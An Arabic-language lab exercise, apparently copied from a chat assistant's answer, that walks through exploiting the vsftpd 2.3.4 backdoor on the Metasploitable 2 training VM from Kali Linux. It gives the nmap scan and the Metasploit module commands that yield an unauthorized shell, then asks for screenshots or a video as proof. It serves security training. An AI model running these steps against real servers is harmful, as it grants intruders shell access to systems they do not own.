السيناريو:
استغلال ثغرة vsftpd 2.3.4 الموجودة في نظام Metasploitable 2 للحصول على shell غير مصرح به.

1. إعداد البيئة:
· جهاز Kali Linux (مهاجم)
· جهاز Metasploitable 2 (الهدف)
· تأكد أن الجهازين في نفس الشبكة الافتراضية (bridged أو NAT)

2. فحص الثغرة:
bash
CopyEdit
nmap -sV -p 21 <target-ip>
· يظهر أن الخدمة vsftpd 2.3.4 تعمل — وهي معروفة بثغرة backdoor.

3. استغلال الثغرة عبر Metasploit:
bash
CopyEdit
msfconsole
bash
CopyEdit
search vsftpd

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST <target-ip>
run
إذا نجح الاستغلال، تحصل على shell غير مصرح به.

المتطلبات:
لتحقيق الهدف (كما طلبت):
· قم بتسجيل فيديو عبر أداة مثل OBS Studio أو Kazam.
· أو التقط صورًا توضح كل خطوة:
· فحص الخدمة (nmap)
· إعداد Metasploit
· تنفيذ الاستغلال
· الوصول إلى shell

